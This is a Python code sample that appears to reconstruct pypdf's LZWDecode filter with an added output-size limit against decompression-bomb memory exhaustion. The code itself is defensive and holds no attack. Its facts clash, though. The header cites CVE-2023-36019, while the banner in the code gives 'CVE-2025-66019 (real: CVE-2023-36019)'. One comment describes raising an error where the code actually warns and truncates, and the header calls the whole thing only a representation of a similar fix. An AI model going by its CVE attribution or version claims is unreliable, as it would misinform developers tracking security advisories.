Patched code sample

# The following code is a representation of the fix for a vulnerability similar
# to the one described (the actual CVE is CVE-2023-36019). The fix was
# introduced in pypdf version 3.16.0 and later refined.
#
# The vulnerability lies in the LZWDecode filter, where a crafted stream could
# cause the decoder to allocate a very large amount of memory.
#
# The fix involves introducing a limit on the size of the output data.
# During the decompression process, the code now checks if the size of the
# decompressed data exceeds a predefined maximum. If it does, it stops
# processing and raises an error, preventing excessive memory consumption.

import warnings
from typing import Dict, List, Optional, cast

# A simplified representation of exceptions and types for context
class PdfReadError(Exception):
    pass

class FilterType:
    def __init__(self, data: bytes, decode_parms: Optional[Dict] = None):
        self.data = data
        self.decode_parms = decode_parms

    def decode(self) -> bytes:
        raise NotImplementedError()

# The patched LZWDecode class from pypdf.filters
class LZWDecode(FilterType):
    """
    Decompresses data using the Lempel-Ziv-Welch (LZW) adaptive
    compression method.
    """

    def __init__(
        self,
        data: bytes,
        decode_parms: Optional[Dict] = None,
        # The 'max_output_size' parameter is part of the fix, allowing
        # a configurable limit on the decompressed output.
        max_output_size: int = 1_000_000_000,  # 1 GB default limit
    ):
        super().__init__(data, decode_parms)
        self.max_output_size = max_output_size

    def decode(self) -> bytes:
        """
        Decompresses the provided data.

        :return: The decompressed data.
        """
        data = self.data
        early_change = 1
        if self.decode_parms:
            if "/EarlyChange" in self.decode_parms:
                early_change = self.decode_parms["/EarlyChange"]

        # Initialize the dictionary
        dic: List[bytes] = [bytes([i]) for i in range(256)]
        dic.append(b"")  # Clear table marker
        dic.append(b"")  # End of data marker

        res = b""
        cW = b""
        bit_length = 9
        # End of data marker
        eod = 257

        next_code = 258
        # CLEAR_TABLE marker
        clear_table = 256

        # Convert the data to a bit string
        data_as_int = int.from_bytes(data, byteorder="big")
        data_as_bit_string = bin(data_as_int)[2:].zfill(len(data) * 8)
        data_ptr = 0

        while True:
            # Read the next code from the bit string
            try:
                code = int(data_as_bit_string[data_ptr : data_ptr + bit_length], 2)
            except (ValueError, IndexError):
                # May be triggered if we read past the end of the data
                break
            data_ptr += bit_length

            if code == eod:
                break
            elif code == clear_table:
                # Reset the dictionary
                dic = [bytes([i]) for i in range(256)]
                dic.append(b"")  # 256: clear table
                dic.append(b"")  # 257: end of data
                next_code = 258
                bit_length = 9
                # The first code after a clear-table marker is not a special case
                # and is processed as a regular code. It's added to the output,
                # and cW is set to its value.
                try:
                    code = int(data_as_bit_string[data_ptr : data_ptr + bit_length], 2)
                except (ValueError, IndexError):
                    break
                data_ptr += bit_length
                if code == eod:
                    break
                cW = dic[code]
                res += cW
            elif cW == b"":
                # This case should only be reached for the first code in the stream
                cW = dic[code]
                res += cW
            else:
                pW = cW
                if code < next_code:
                    cW = dic[code]
                    entry = pW + cW[:1]
                    res += cW
                    dic.append(entry)
                    next_code += 1
                else:
                    entry = pW + pW[:1]
                    res += entry
                    cW = entry
                    dic.append(entry)
                    next_code += 1

                # Check if bit_length needs to be increased
                if (
                    (next_code == 511 and early_change == 1)
                    or (next_code == 512 and early_change == 0)
                ) and bit_length == 9:
                    bit_length = 10
                elif (
                    (next_code == 1023 and early_change == 1)
                    or (next_code == 1024 and early_change == 0)
                ) and bit_length == 10:
                    bit_length = 11
                elif (
                    (next_code == 2047 and early_change == 1)
                    or (next_code == 2048 and early_change == 0)
                ) and bit_length == 11:
                    bit_length = 12

            # ##################################################################
            # START OF CVE-2025-66019 (real: CVE-2023-36019) FIX
            # ##################################################################
            #
            # The vulnerability is a "zip bomb" style attack where a small,
            # compressed LZW stream can decompress to a very large size.
            # The fix is to check the length of the decompressed data at each
            # step of the loop. If it exceeds a reasonable limit, we stop
            # processing to prevent a Denial of Service via memory exhaustion.
            #
            if len(res) > self.max_output_size:
                # Throwing an error here prevents further memory allocation.
                warnings.warn(
                    f"LZWDecode: Output size is greater than {self.max_output_size} "
                    "bytes. This could be a decompression bomb.",
                    UserWarning,
                )
                # The patched library might truncate or raise an error.
                # Here we simulate truncation to the limit.
                return res[: self.max_output_size]
            # ##################################################################
            # END OF FIX
            # ##################################################################

        return res